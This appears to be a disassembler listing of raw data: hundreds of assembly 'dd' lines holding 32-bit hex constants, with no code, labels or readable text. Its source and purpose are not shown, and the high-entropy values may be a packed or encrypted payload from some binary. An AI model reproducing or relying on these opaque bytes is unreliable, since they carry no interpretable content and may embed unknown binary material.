dd 0C92500E1h, 63DA3FEh, 85006957h, 96AAB451h, 1297351Ah
dd 0BE0912C6h, 53EDA500h, 3E6DAC5h, 0E29A919Eh, 9B902535h
dd 0D0031B57h, 0B5CC6FD6h, 0FE65A187h, 3C784C4h, 3B6A1224h
dd 0AA880AE0h, 0E735970h, 91CB6D00h, 15374BD2h, 5EDD0181h
dd 8042A77Eh, 6623EC65h, 96C4EC00h, 0BD1FB2A8h, 160900B7h
dd 5E0D4358h, 0D400975Ah, 4F07B8B0h, 9D747Eh, 57678099h
dd 0FCF2755h, 4C514500h, 5A5392D8h, 483B3EC9h, 0F1BBE381h
dd 70F40BECh, 5100607Ah, 4DEBE70h, 0D32512h, 9388485Bh
dd 10545331h, 1D78700h, 0A0EA0E65h, 0B0ED501Ah, 0A198074Ch
dd 10C3D3F1h, 17025A6Dh, 97F81600h, 6AFDE37h, 8CD02A48h
dd 0F85861C4h, 70BCF7C3h, 0F3002489h, 0C1079625h, 9E94F4h
dd 0E35357F1h, 85B8E6Ah, 3100F58h, 44B3A4C9h, 0C856E084h
dd 177C3F98h, 0EB5B97h, 3E6079E6h, 0E0FCA28Ch, 7B7A3Bh
dd 0F42275CBh, 9C40ED2h, 0FC6A9D6Fh, 0B0700E60h, 73E12958h
dd 8D371E0Eh, 80AE0B7h, 2A4C723h, 8227BBCAh, 6DE0C0CEh
dd 0CF0F99D9h, 0C7EB7EEFh, 49F005CCh, 38EDA7h, 0FA3DB517h
dd 0EE5220D6h, 68621500h, 678A6195h, 0BE7700BFh, 1DE53E1h
dd 0C57C9964h, 8778E500h, 17084902h, 0D93C00F1h, 43505F70h
dd 2500BB05h, 510A1637h, 7BE98CFh, 9FEBF697h, 91C1307Fh
dd 820A1C9Bh, 0C4ECFC7Ch, 0E2EA7600h, 768F71Eh, 0AA61B956h
dd 930C1C9h, 2F3FE06Eh, 783F28DEh, 0DEAB7828h, 0B35F8D00h
dd 0E598A7AEh, 0E87D03ADh, 0F748F54Fh, 4207A598h, 25709D0Fh
dd 887C80F2h, 7B5F35Eh, 3F1F2BE9h, 0EF407E4Bh, 0E1AE7DDDh
dd 602E8B30h, 0C16F36F6h, 0F1047F70h, 0B8BC99h, 89748FF7h
dd 0E4737964h, 0C7587425h, 0F0C91B11h, 5B6EB780h, 0F150976Ch
dd 9BB600B3h, 0F6E06703h, 0A8028F3Dh, 0D7D58680h, 0B825E032h
dd 8D623F98h, 1C3BAD86h, 0E5E971A5h, 9DB5FC4Bh, 9212AA19h
dd 45F9A19h, 6D2CF7E0h, 3200D97Eh, 53FDD6DFh, 0A509CFFh
dd 4FBE3974h, 427341A0h, 9FE700A8h, 0E8ED3A18h, 4B3E993Eh
dd 0F6853457h, 74C2BECh, 807CCF3Ch, 3DA6AC0h, 0B4B5037Ah
dd 41CD1C98h, 0DB045B80h, 3E3074F8h, 0FF8119E1h, 0B686885Ah
dd 0C1518A1h, 3D24A8A6h, 9D118401h, 4921B833h, 0C2F578Ah
dd 77242515h, 110C3850h, 391F2186h, 46C24D10h, 6124BBB6h
dd 18821035h, 0E1951921h, 24352B3Ch, 0C4A8CE5h, 6B886C71h
dd 422D453Eh, 0B2AF8A18h, 0C4A7925h, 1D65847Fh, 9C0A0C4Ah
dd 0C4A2965h, 8566C055h, 11257E19h, 21CB4D5Ah, 0E2DE8A4Eh
dd 580A113Ch, 7F7C048Dh, 0E4D70347h, 31491160h, 99FC0318h
dd 9506FAAh, 0A08897E0h, 75A63D00h, 6E58FE52h, 4A8700CAh
dd 74B07719h, 2492BEEAh, 0FBF6550Ch, 988DD142h, 12EC889Eh
dd 31E920ACh, 8BD70700h, 1CC3BFCFh, 0AC101ABh, 1E8E406Eh
dd 2F521002h, 187C12B5h, 6A5047B2h, 886ED630h, 472C4500h
dd 1CAA980Ch, 128471B9h, 0E5303h, 189D12F0h, 1CA5ECFEh
dd 523B8240h, 8DEF0CF7h, 6BB1BE46h, 58124800h, 35B95F5Bh
dd 94195070h, 0D233174Ah, 306406E2h, 0DF0F5967h, 2006F87Bh
dd 0A957FA0h, 0D22600C4h, 91D5CA42h, 0D9DF461Eh, 352D093Ch
dd 0DCDCA0C8h, 154274BDh, 1486A5B1h, 0D13B0579h, 406AAFE2h
dd 7DC35034h, 0B939EB82h, 5B3B7CB5h, 57598F3Ch, 48776186h
dd 0F8800946h, 8FD03165h, 0E0F641AFh, 7EDD638h, 0F430FEB8h
dd 0E3E636A7h, 9249B8h, 0B47AB20Ch, 3F008899h, 3AEDD2E1h
dd 71452895h, 0E0D560DFh, 17FDBCEBh, 43D750Fh, 90C9032Eh
dd 0D350E185h, 3AB76841h, 0F08A8090h, 14B3BD31h, 0C80DFC23h
dd 0A994650Bh, 3956C03h, 702179C8h, 321F5005h, 0C0275FECh
dd 0E78330D7h, 42101717h, 0CEF44153h, 80A625EAh, 0D119BAA0h
dd 0E934AD2Dh, 864A9F1h, 64FB166Ch, 0F93002F3h, 1303E24Eh
dd 6CD90578h, 87CB0382h, 1EDBC09Ch, 0D33A3E7Bh, 87317C0Fh
dd 0C11318B7h, 0CD84B8D2h, 22E209CEh, 58279B49h, 9F8880D5h
dd 0EC3F6017h, 1862B047h, 2621C3CFh, 44F0287Ch, 0DB7C8C86h
dd 4ABAD316h, 847A6843h, 0DFE0A0B1h, 0A0AA4933h, 2A35A21Dh
dd 5B4A1280h, 804814CFh, 81B6EC03h, 0F11E7113h, 407078BAh
dd 14B2D07Bh, 0A0494228h, 39A0B42Ch, 0D726CC80h, 0EAD5C364h
dd 81BB591Fh, 0D676A700h, 0A07F5BD2h, 3A56EB80h, 0D4182248h
dd 2F88E06Ah, 975DA2E0h, 194C003Ch, 82397915h, 0C3D8FC86h
dd 0D1534A29h, 83EA026h, 70C8C310h, 0B33D7480h, 1CF221Bh
dd 1A75A458h, 64796743h, 0AC92B894h, 8653DB39h, 0D1BEC703h
dd 4AF130E8h, 0D4C5A770h, 0B1468C15h, 3DEBC130h, 0D61C1A8Eh
dd 2E36BF40h, 4234E7BBh, 4848E823h, 8A24DA1Ch, 8004BC62h
dd 4893879Fh, 6154A290h, 20246C38h, 0EEAE411h, 0F6B04855h
dd 7B301D21h, 0BDC236Bh, 9718FEh, 0C70BA09Ch, 78EF05A3h
dd 90ABEB21h, 26F78DC0h, 90C828A0h, 0E883C501h, 0E7D1BFA3h
dd 6692A042h, 0D7120010h, 0EADF49A1h, 0CC1DBCDCh, 48C009D5h
dd 0D1B4F852h, 8C410060h, 0ECF958D6h, 6309317Ch, 9C850A27h
dd 0DB3411A8h, 0A8411217h, 58F45008h, 9F1FAABDh, 58260BDAh
dd 0EFF980C0h, 0F63A3E28h, 24308060h, 9901E6B5h, 0FDF8BE50h
dd 4C249814h, 3E3107D8h, 8543B27Bh, 7E448070h, 0BA5CC9AEh
dd 9F484D58h, 30980BD8h, 1ABE057Ah, 413247C1h, 2006C3ECh
dd 27308664h, 22B1C9D2h, 52061085h, 6FB7E331h, 0C0BFCE8h
dd 5F9ED31Ch, 204CB310h, 2D09040h, 0A393F80Ch, 0E7086894h
dd 1864F1EDh, 5919FC3Fh, 0BD00F4E2h, 90C16F3Dh, 9550CC48h
dd 94451518h, 51EC6888h, 605D5701h, 29B24BBAh, 7620E878h
dd 56BE77Ah, 0FD4C7390h, 17D04099h, 28F03909h, 0DD0A9C1Fh
dd 0A0C5CD49h, 0A7B4423Ch, 91FF31CBh, 60A97C11h, 8A4A0FEh
dd 84488F46h, 0F0D424h, 947A5EC2h, 0DCE85483h, 0F7B0700Ah
dd 4B80BC6Eh, 0CE56E052h
dd 31720EBDh, 1E40ADC9h, 7EDDA8F5h, 8354633Ch, 0B073D86Dh
dd 28A7C436h, 7D5D4500h, 0B137F699h, 96002678h, 0C16D3EB4h
dd 0B5708h, 0DD85CFD6h, 0D147E7A8h, 0C6CEAE18h, 9F8E28h
dd 403EB642h, 32759162h, 0E63397Fh, 0A04D0F38h, 0E01BD58h
dd 673B5C16h, 0BB734580h, 0AF18EE48h, 18492505h, 1E2F01C4h
dd 63A6B703h, 0F461F0DFh, 4C3FBC7Eh, 90C29D6Ch, 53F62680h
dd 7E04D685h, 0C8061F73h, 3805180Ch, 1B306695h, 0E3452897h
dd 22AA03DFh, 5A7062B0h, 9EC4510Eh, 69448067h, 37DBE21Bh
dd 0C011025Eh, 0E4B46258h, 895DBD05h, 30230F45h, 54B1E676h
dd 7148C5h, 0DB4DF086h, 0F4C76544h, 0B4388B00h, 8F76B1A6h
dd 779E33CFh, 0C900639h, 52074C92h, 623485A4h, 5473FB1h
dd 12F91F0h, 0FC8CF613h, 50690F6Ch, 0BE27D790h, 7FECE200h
dd 95BFC137h, 88060744h, 0B0295B83h, 0B1C8C4CAh, 30E1A1C1h
dd 2080D00Ch, 0FD7D74E5h, 8D50BEABh, 0F80A4A8Ch, 94A67613h
dd 0BC049694h, 0C0673075h, 6C235A48h, 0C7B8AE00h, 761A1EA6h
dd 7F2E00D3h, 2D1D4519h, 980028AFh, 0F7C4A2CAh, 998725h
dd 0E0F875D5h, 0B28BD772h, 0C84DFD00h, 59097D93h, 0B0F7015Bh
dd 9E0AE7ADh, 0FBE140BCh, 9305C97Eh, 0AA4BF07Fh, 323D13C1h
dd 25A7CCCh, 0D3E7DC1Eh, 860B2A7h, 0C0016346h, 0BB180CF4h
dd 45E01EDFh, 9B9E00C5h, 2C0176B2h, 0CF00E011h, 0AAB5031Ah
dd 0E2BE2135h, 7AE200C5h, 9AE133FBh, 0ACF662ABh, 0C111D300h
dd 0D66FC7C8h, 6C1B0414h, 0C29D9057h, 1AE0354Ch, 23007A3Ch
dd 0FE3CF91h, 0C3D459h, 2147A356h, 0B14169D6h, 312E61E4h
dd 96034D03h, 0C83B9394h, 7FC66D6Eh, 5D4B00B3h, 0E7428FC1h
dd 517BF10Eh, 6F614617h, 5AF5A002h, 3AAA40C8h, 52AE00E4h
dd 4735E0EBh, 4C00EA27h, 0CA0E63Eh, 0D9433Ch, 0A1301138h
dd 0C16CDAC3h, 0D4007A73h, 0ABB04258h, 1C5C486h, 0E45230AEh
dd 801B3421h, 8F110139h, 0FAA16BAh, 0A6E206FFh, 11C55BC7h
dd 0F8B5CE73h, 4B00DD53h, 55F15D27h, 0D057C2h, 3D62D498h
dd 0C7FF757Eh, 3B484B03h, 0A88F77BAh, 216871h, 15BD404Eh
dd 8A8D195Eh, 5BCBFC00h, 3026F39Fh, 0AD853A3Ah, 0FE327D00h
dd 0E798A759h, 82A91A00h, 0A00621F3h, 6AF1011Fh, 0ADC68E9h
dd 0A55BF481h, 0DFC72818h, 0FAFA35C0h, 527F01D0h, 67102B71h
dd 667DCCD9h, 830098E4h, 0B69C13EEh, 3EA198Fh, 590B182Bh
dd 0CAE8526Dh, 2A00602Fh, 853E826Bh, 0EA323090h, 0FCDA1E6Ch
dd 0A0C5C3BEh, 47A866F5h, 7001B3E8h, 125DF8E0h, 99D8C83Dh
dd 8ED0006Eh, 813CF2C1h, 0CE00EA5Ah, 56D4F5D9h, 31F1E6h
dd 85C2122h, 2B2E4841h, 0B436DC00h, 0C6C7DBCEh, 1E0105ADh
dd 0C0F37225h, 3519912Eh, 0ECA893Bh, 0C1E4A7DCh, 15D334F6h
dd 600DF03Bh, 0D5EB6800h, 6E45B833h, 10676F7Ah, 1080C8E7h
dd 5C3CC49Bh, 2711FCA0h, 3A173007h, 45D08FB3h, 0E41BE8CAh
dd 0B1D63AF4h, 0EA2B7280h, 42A47EE0h, 0EFD93Ah, 0A317AE7Ch
dd 4304F7h, 23A78B22h, 0B381A234h, 0DC24900h, 0FB48215Fh
dd 0A4CA00C6h, 0E105F38Ah, 0DF0E5287h, 0F09490h, 984F2ECh
dd 58173888h, 70F392h, 3CA30D0Ch, 0B000A53Ah, 9543F772h
dd 3B49F8A4h, 51002D50h, 9121A77h, 0FB006361h, 0EC6E96BFh
dd 73C0B14h, 95602C21h, 2513A039h, 0E10070DFh, 483722E6h
dd 0EC17D38Dh, 0FE1B0024h, 0A90B7243h, 0F200C626h, 0C7AFB6FAh
dd 8771BAh, 4BFC59C2h, 0FF1D5F41h, 56DCAA00h, 0CFA08A13h
dd 169F006Ah, 0DD1E8370h, 4F07D4ABh, 3B265AA5h, 7CCE5330h
dd 0C8B6A0F6h, 0A665009Eh, 6FA3E4C3h, 33BC680h, 0E7A8504Eh
dd 0A020A500h, 9577BB7Bh, 77F57h, 7DA27C74h, 39D818C9h
dd 0F8513F00h, 0A6A9E6DCh, 34B700C8h, 0D9C9BFC3h, 4D00D8A7h
dd 78A04FE2h, 24895B58h, 80F18Bh, 69FD6D14h, 36001D87h
dd 0BF011BE4h, 3A95C61Fh, 4D9E31FAh, 0EF68C0E7h, 41054EA0h
dd 720097F6h, 1A11D9ABh, 0FD855Eh, 245CC456h, 15D546DDh
dd 770630FFh, 55813300h, 9BB469BAh, 10903Bh, 25ACAE58h
dd 0E0083151h, 97006BF8h, 0F883656Ch, 0E0FD073Bh, 300F006Dh
dd 852E33B3h, 0E300DA8Bh, 0EB3A7FAAh, 7D4161Bh, 5E14BDE0h
dd 6FF7505Ah, 0B3007E0Bh, 0E9DC3FA6h, 7D8BBFh, 567A92CCh
dd 0F597906Dh, 70FFEA00h, 7131265Ch, 355B3981h, 0EE22B20Fh
dd 0ED33AC80h, 0E5004240h, 0C20DB84Bh, 1BA3F01Ah, 10BD6039h
dd 0AC717A00h, 7EF5D1CEh, 95783FEFh, 8EE63B00h, 74BEF8A1h
dd 2518D61Fh, 0E987F280h, 1EBB15Eh, 0C4656083h, 0DC5975E5h
dd 9900508Dh, 5D71E1E7h, 9A72A36h, 0C6157D1h, 16580100h
dd 25009CC1h, 598BF2A9h, 780E4F45h, 976D0067h, 0CCB9E34Ah
dd 0CEE4AB8Ah, 3CE70B2Ch, 1373002h, 0B8CC6163h, 169420h
dd 8759D893h, 2AE4ECA5h, 0AAF06C71h, 24D94807h, 89605411h
dd 357FBA0h, 3DDF28B2h, 1F883595h, 77EF89Ah, 0C45D9726h
dd 9283D500h, 1EBF754h, 0E2D3822Bh, 0F4F1B2A5h, 9B3FA262h
dd 3394244Eh, 30C07300h, 7BCFFC33h, 0EDE10051h, 0EAE96E8Eh
dd 6500C11Ch, 58826FC3h, 0FD2219h, 7D4B6A30h, 23AE5421h
dd 500C2B06h, 1DA3240h, 64BBE790h, 0C44E04A5h, 0FE004527h
dd 0F398A413h, 9B1667h, 1D909519h, 0DA5EA217h, 0FCA8240Ch
dd 21B54CDh, 0FD82F6EFh, 60C84D23h, 491DB607h, 5B833496h
dd 8040ACC3h, 0A1DED6CFh, 5F603FDCh, 0BE2807B7h, 0E0C1E88Bh
dd 1CF4D57Bh, 56029A00h, 921342EAh, 73760E25h, 59A28B30h
dd 8868C5CDh, 0C09F0F45h, 673608EEh, 402B0853h, 0F25CAAD8h
dd 0C0CC89C0h, 3A88E06Eh, 0C776725h, 2712CB21h, 0F800E220h
dd 0D83BC20h, 3E068Bh, 80C1B0C8h, 0B7B9710Fh, 393AE2E6h
dd 0AB548041h, 12C6D3D6h, 4F5201DAh, 7D654580h, 2EF4408h
dd 60754C4Ch, 0B7DA0468h, 0C1914706h, 3C608D1Ah, 5A958B19h
dd 6904649Fh, 7D73C2h, 1FCF35B1h, 2885309Bh, 48F23C20h
dd 0DFC9B40Eh, 0C411A0DBh, 0B3D02BBh, 0AE0468F5h, 80351287h
dd 1B8D82FBh, 81BC2900h, 6F1EE33Ah, 7C21F87Dh, 2040051h
dd 72EB3E8Ch, 0F4005385h, 0C223A03Ah, 50934Ch, 349C557Bh
dd 1602AECBh, 4E2BB200h, 3957FC4Fh, 0D594001Fh, 31FD0121h
dd 7F0542C7h, 820EC479h, 6D1016C7h, 8A40AAh, 0CE7269C3h
dd 134DC142h, 0BCB0A00h, 0B191D289h, 4E0500E2h, 9A553122h
dd 6C2EDDFDh, 30035928h, 0B8F8C606h, 71CA17D1h, 0E897162h
dd 5DC9B2EAh, 4E349F80h, 27FE1277h, 45FCCF00h, 85C272B5h
dd 3DF8A151h, 0C432DBD9h, 40FA041h, 241C2B81h, 89CBF0F0h
dd 0C2A86A50h, 0BB36BF01h, 0A3AEC7D7h, 52BDFECh, 3AB7D8CAh
dd 29ED18CBh, 9883DE3h, 0D92E88A5h, 8963E488h, 11284067h
dd 0A2816B91h, 5644AC08h, 437F88EBh, 82AAB81Dh, 4422B000h
dd 310BE69h, 0BCD709Eh, 2000718Fh, 0F7A1D93Fh, 3FF5318Bh
dd 7F09C3h, 8C085D51h, 0A00D0FF3h, 54987912h, 77F907EAh
dd 0D37A6549h, 6DA83684h, 4D00BFA6h, 33677101h, 0E0B8ACA7h
dd 35180095h, 1F409C44h, 661E131Dh, 580009D4h, 0BAD68896h
dd 85C30354h, 0DB71458Dh, 0CA2C1498h, 6F246100h, 4AECD656h
dd 0C11F1E22h, 140F8087h, 70CBF4F1h, 2D86A000h, 0F56EC63Dh
dd 575B1503h, 0E201E49Ah, 0B9160F21h, 0E89C6027h, 8777F7E8h
dd 74CEED00h, 975EFAFBh
dd 0E679D9h, 5A677752h, 88C74CD2h, 1600A476h, 602BFC0Dh
dd 2658ADB6h, 0E8509E0h, 0BA60BCF2h, 324E06F3h, 3B01477Dh
dd 0F7A4666Ah, 0C24E937h, 508510ADh, 92C51C27h, 0C65ADD80h
dd 0C080B3h, 0A7F1BB48h, 0A53D2078h, 0D079050Ah, 230B901Bh
dd 0B0B007A8h, 97C7080h, 0ACF35846h, 0D2AE7A0Eh, 37A38F40h
dd 7301E0F8h, 3B672A7Eh, 43E4781Fh, 983262C4h, 5048187Ch
dd 965C1CA6h, 0F3B5009Eh, 0C5989F6Dh, 0B40E00EDh, 0B3CC0AC1h
dd 19003C61h, 97515B96h, 7DCC076h, 4B321F7Ah, 0F048EDF4h
dd 3F0003FEh, 41A16074h, 0C58F2Fh, 6A5A6D65h, 0CEBD872h
dd 0F914B25h, 0D9AE3DCh, 1C67F197h, 0E1493F4h, 0EBE2CF94h
dd 0C5D52880h, 0BD2C5977h, 43402840h, 113B0F7h, 0AC52FB69h
dd 0F87A7370h, 3500D44Eh, 0A199AE16h, 0B8B4B1B8h, 97E4006Fh
dd 0F0A430CFh, 0BD006B59h, 5F8F524Fh, 1C93E9F6h, 809E8C29h
dd 27A8C3B1h, 5A0039FAh, 32F8EAB9h, 0CFAB0448h, 0D7E0F518h
dd 0A437217Bh, 65138CE6h, 2000364Ah, 19C3E6Eh, 0C9BD1342h
dd 0D4FF0148h, 51D23C7Ah, 8015C28Ch, 0CE610472h, 9824B0h
dd 4775FC52h, 96B18368h, 0BE2FC409h, 0C63815Ch, 980E75Dh
dd 0E2130BC0h, 0DFB807EDh, 0D41E6E77h, 8A0E7993h, 4C1041E0h
dd 0BC9435Fh, 0FA65A7D4h, 138D0AC8h, 19BACC0h, 90569899h
dd 4F44B4Dh, 75F434DEh, 0DB53C280h, 0F0124BE6h, 52601C28h
dd 0DF954910h, 0A1FA0122h, 23021B82h, 77030D8h, 0B5C9349h
dd 80510FC3h, 66D44BF1h, 3C3303E4h, 0BAD5ED13h, 927C2EE0h
dd 6AB72D1Ch, 971C2240h, 0E02ABB0h, 33F2F149h, 40CCF3C7h
dd 6C7F5D8Fh, 7E45E000h, 0BEBF266Bh, 0FCDD00A6h, 73E81FEh
dd 140E5719h, 874D9E69h, 0FB809F02h, 0E16E0Ch, 0F27522B9h
dd 123092B0h, 0E2C1F500h, 32B79788h, 0EBB80090h, 40CB0879h
dd 6600DE80h, 0FE56683Eh, 0F47655h, 0BF8B4F64h, 0DE753CD3h
dd 53C50100h, 2EFC9C21h, 3F6BE243h, 68BE9A52h, 6D401C80h
dd 0B4FE9B59h, 0CD4CD00h, 9080FD7h, 43260050h, 7C3DBEB9h
dd 9C0006A8h, 93337514h, 7186C5F2h, 0AC1200B6h, 493A5329h
dd 0E00A1F0h, 0B352E208h, 2EF9E548h, 959BDEh, 4605D8BAh
dd 0E3001593h, 4F5E0F55h, 0E467D9C6h, 91130752h, 30A48123h
dd 0CF0F0AFDh, 632CE300h, 268B0E36h, 0E9CD0071h, 0C27F8194h
dd 1EE8B731h, 7900617Eh, 4F3C74AFh, 26CA96h, 63A7F429h
dd 0AA71E714h, 9C1058h, 504002A8h, 668BA6h, 0FE138F36h
dd 0EDBBEFDBh, 0FF002479h, 77542F09h, 394EC951h, 7E00F22Dh
dd 0BE79B72Bh, 0BA01D884h, 2F9E281Ch, 0AE204389h, 9ACB3B81h
dd 8F35E780h, 0A2CC80BFh, 0AE002079h, 74752FD6h, 0E11E92h
dd 0EC375106h, 0D9329BD8h, 2E4B0500h, 43831413h, 6CE30069h
dd 0B6B5D797h, 0BF005E84h, 0CBD8C98Dh, 0CB8A4799h, 83D5F390h
dd 0A8FF2CD6h, 5C9593h, 0F6FD83E2h, 53A60EDEh, 7E1A7700h
dd 0EA677FD8h, 1E6800DAh, 0B198BA12h, 0B800341Ch, 0AC0DA2B6h
dd 74BF1h, 6D9F7C3Ah, 70BB5A74h, 0B2C34507h, 2F6065ABh
dd 385E35EBh, 0F06C83h, 634068E0h, 0FFFC3017h, 0C69DD900h
dd 0E1C809F0h, 1F723Ch, 9C174CDBh, 0A831B529h, 0BB086F04h
dd 6D8075ABh, 1C0DF752h, 4F67C484h, 6445A8E0h, 69EA8081h
dd 1B83FEEh, 400012FEh, 2901D5CDh, 3133423h, 142E9641h
dd 47913042h, 96A06E38h, 60F807AEh, 0D0635805h, 853AA49Bh
dd 0D496C8A1h, 0E839E668h, 1C3F07F6h, 220065FAh, 0E5BCB9Eh
dd 726C5348h, 0D65D8580h, 0E6003941h, 0E53B94A6h, 0FD7AB2h
dd 2FB9199Ah, 7011EBEDh, 0A2773Eh, 0F70791ACh, 242FFECh
dd 507BB896h, 3C0EDFEh, 1901DB74h, 0F39C9245h, 0D7D44809h
dd 4ECF1h, 97316376h, 6044B535h, 0E8000D7Ah, 0B407F087h
dd 63EF71h, 8FE9F75h, 9D6D3A25h, 416B5607h, 5A508A3Ch
dd 491D76h, 35A2A4C2h, 24DB1EE7h, 7A6AEA00h, 8D8AF421h
dd 17E2058Fh, 0EC01E9B7h, 0D03B0016h, 98EA429Bh, 0C641C037h
dd 36F42470h, 4F687E0Bh, 0B159803Ch, 0CA77E8h, 0A5DBCFBDh
dd 97C7EFA6h, 7EAC705Eh, 0E91BE00Ch, 3903D769h, 0F1A24FD0h
dd 497C089h, 0D34905D2h, 0C0B0DC4Bh, 0B6BA3B3Ah, 0A5908E03h
dd 0E017855Bh, 6EE926h, 38F59CAh, 0EB35C239h, 551FCD0Ch
dd 1D93B084h, 0DE30887Eh, 1D4D12D4h, 5034C098h, 69075AA8h
dd 37024000h, 3B1CD817h, 1DE6000Fh, 0F2430399h, 0C015FDAh
dd 0FC7DBBE4h, 6078E0h, 12AFAF7h, 242B34BDh, 0DCD2BE14h
dd 0BC2C6C30h, 4F0059ACh, 563CBA69h, 3E9300CBh, 9A886C1h
dd 0DCE47227h, 0DD00757Eh, 0A9128AD9h, 1C7C59DFh, 40A389B5h
dd 835F1D43h, 6F000D9Ch, 9141185Eh, 1FC825h, 4CB051D9h
dd 0B7344A70h, 0A55B6D00h, 89332B40h, 0D64600B6h, 2C6536D9h
dd 9B01C01Bh, 1642A2D5h, 56605720h, 98A00DFh, 0CB96FF01h
dd 0CD003F7Bh, 13FE8DC5h, 18E7FDCAh, 6615CF11h, 1C00E118h
dd 0B28FFCCDh, 0B18767h, 560AD506h, 8D5D36B4h, 4DD36500h
dd 0C8BAA237h, 27E8E3A4h, 39B10042h, 0D2C1D49Ah, 841DA51Ch
dd 9DC03DA1h, 0EFC03E4Fh, 425B00CDh, 38DD80A2h, 0D1D153Fh
dd 7F8056E9h, 0CB6417Ah, 0D7740050h, 2D528967h, 0AC00D981h
dd 92C9E80Fh, 0A02AB68Eh, 0C09FE7C0h, 30785920h, 0C900C55Ah
dd 80ABAB3h, 1D4E1394h, 0C37DA37Fh, 6A3D8610h, 4F6B5100h
dd 0E69151B5h, 0A2C207C4h, 56E963F9h, 440041A5h, 83B42018h
dd 791112h, 0E1890E5Ch, 2F328751h, 703E13E2h, 2BB80EC2h
dd 109AA73Bh, 39E061DCh, 7A7AC64Dh, 9D54044Bh, 0C0C14C0Fh
dd 0DF39C296h, 0A85539h, 0BB30DB4Dh, 54C00Ah, 59734FEBh
dd 32BE8847h, 33F318C2h, 86F1602Fh, 7DA40061h, 85265F8Bh
dd 70057DCh, 6DE99E3Eh, 1FA91175h, 43D67BA2h, 9B45861Dh
dd 3E6353F0h, 0CD6A7400h, 5A735218h, 9F670079h, 6C5047D0h
dd 5E07EDCAh, 0E373AF3h, 6E886960h, 787723h, 0E5C6E612h
dd 180FAD43h, 0BDEAB800h, 0C1513825h, 1EC4E636h, 0BE33A0C0h
dd 0CD80F0BAh, 445CAFF3h, 420F3E6Dh, 0E0C0DB92h, 5E577F1Eh
dd 292D00E0h, 9043B5EEh, 0F2B8A2AEh, 55B83C18h, 0E0DE5B09h
dd 18C7E80Eh, 1863BFD9h, 0CF1EEBDDh, 6E00747Ch, 462F35Ch
dd 5AB70542h, 0C00120C7h, 9ECA53BEh, 775839h, 0B3888A89h
dd 9F26DB75h, 5A3BA2E0h, 0F8C40B00h, 0D2B2C0FAh, 666900AEh
dd 2B3954C3h, 0B80082FBh, 0D6BE7FF0h, 0CB452Dh, 0F85158Fh
dd 999BEF2Fh, 6A010C00h, 736693B0h, 1F687FC7h, 0E02CD97h
dd 0AFA00DEDh, 7FBB2EB1h, 80EF213Ch, 74B5C1B4h, 0ECA9208h
dd 0CBD37525h, 9838E80h, 95E823D7h, 6C15811Fh, 0D5C82041h
dd 70C8F4A6h, 8F1B1EDEh, 990600D7h, 0A9FCC541h, 7928831Fh
dd 0E3D3BD00h, 3F1332F3h, 2C80190Ah, 0F483ABF6h, 1A035A7Eh
dd 0FF23D573h, 0ED11902Bh, 1CE43F0Bh, 67190487h, 3DDC0018h
dd 4DE23266h, 0CEF6B0F2h, 6209F100h, 73231AE9h, 0EBCD00DAh
dd 0DFF91F0Bh, 0DD3A6F94h, 85C23E48h, 69E63A11h, 0C091AB00h
dd 0BD751E2h, 0BD5C04C9h, 0B90F9200h, 2503F75Ah, 73A31A1Ch
dd 775FB0BCh, 796C30DCh, 0EB7422A0h, 5400CCF8h, 17731626h
dd 3559071h, 9181868Ah, 0C0C0FDD3h, 0F100AA6Ah, 570430FCh
dd 0F758D1h, 0DEBAFFC3h, 5F2EAE93h, 67EBB301h, 9C3CD74Ch
dd 0B06E98FFh, 0E8B902C8h
dd 0F5876DD9h, 6B40C8CAh, 0D3E69AEAh, 0B2CD6600h, 0DBF038CAh
dd 0FF48BAh, 57688D00h, 0F5B9E5BCh, 3EDFB83Dh, 9EC482CFh
dd 4012DEFCh, 545AD3h, 13BC46DDh, 0C594CAECh, 0BDD55E00h
dd 60B9BA4Ah, 0F26901C2h, 5F54ED8Bh, 0C189705Bh, 0BDCDB602h
dd 60620193h, 1E0D326h, 155BE802h, 20AF3C6Bh, 0C6023624h
dd 2D0D2AA8h, 0F24C7032h, 1FA700DEh, 0D3B58B5Dh, 760139E4h
dd 62F18390h, 19709596h, 0C5583AD4h, 841481D8h, 0E600C8ACh
dd 0A34D60F3h, 6C000ED3h, 0B6AF6D15h, 342BAAh, 3E5A67D4h
dd 0DD7FA6B5h, 9492C107h, 17134493h, 0BAC0DD55h, 721DA7Bh
dd 6C58D247h, 765E201Ah, 7C1DE1BEh, 0A9048CB9h, 0B88085C4h
dd 6E816Fh, 0C7B42A0Dh, 93765B29h, 0E03ED400h, 9AE9A1B0h
dd 0D2F00071h, 65FBB41h, 0D7670FDh, 0AA001098h, 6CFB73A1h
dd 0D1414Eh, 7AA72ACAh, 126E5D6h, 1871213Bh, 0A548CDC2h
dd 0A8900022h, 0D2584D40h, 0A7A089EAh, 4600EE2Ch, 0B34B0BA0h
dd 0F35388h, 73CF6715h, 79441A37h, 339B0800h, 0C904D091h
dd 428C00A2h, 0FD07F22Ah, 91C036FBh, 69F7665h, 73C6001Fh
dd 241DCC16h, 513A9722h, 0E57280D0h, 5523E0E9h, 253B266Ah
dd 0D26500F7h, 0FE49EA3Eh, 3A099F00h, 0B323D8ECh, 0DB4C0035h
dd 69936429h, 63FC6ABCh, 0FC8A3000h, 0B501B6Dh, 5A4107CCh
dd 4715457Eh, 0CF44B0B7h, 7000C276h, 0B50DA3BDh, 1E4369ABh
dd 403423BFh, 8DDC37FBh, 0CF7AFA76h, 50BC1800h, 52B920C3h
dd 0BBEEDEh, 46A844EEh, 6DD597CEh, 244C691Dh, 0C3679300h
dd 0BD7F2Fh, 0AEF74D84h, 0D93AC1B6h, 663F6909h, 0D2B40092h
dd 0A57FFCh, 0BFC22FE8h, 0A3B5C7EAh, 0BD1FE67Eh, 5400E5A2h
dd 65A13E0Eh, 0EE9800C9h, 0F9A02B97h, 997379EFh, 0A9D39007h
dd 689086FBh, 0B66CB4h, 5C8AF56Dh, 642A8376h, 1ED21F00h
dd 0EEC3A7C8h, 80D34861h, 2D6AA40h, 55906DBh, 14488D3Ch
dd 0FAF21A12h, 47E1E1Eh, 0E7DBC600h, 3E2A5Eh, 0DABF8336h
dd 31802CFEh, 5A43DF01h, 7496A504h, 2EF430D9h, 0D6DE009Ch
dd 1D19E546h, 77246D05h, 0C000C4B2h, 0D31B4BEBh, 0C9920007h
dd 223EBF73h, 8C90567Ch, 7402BE1Fh, 12E6C240h, 3D40D86Eh
dd 759614F4h, 87C91F54h, 0D2D3D27Eh, 9861D7BAh, 7F868051h
dd 0CB5ED63Eh, 31A003D1h, 45DBECFh, 45A5A8C0h, 6DC22200h
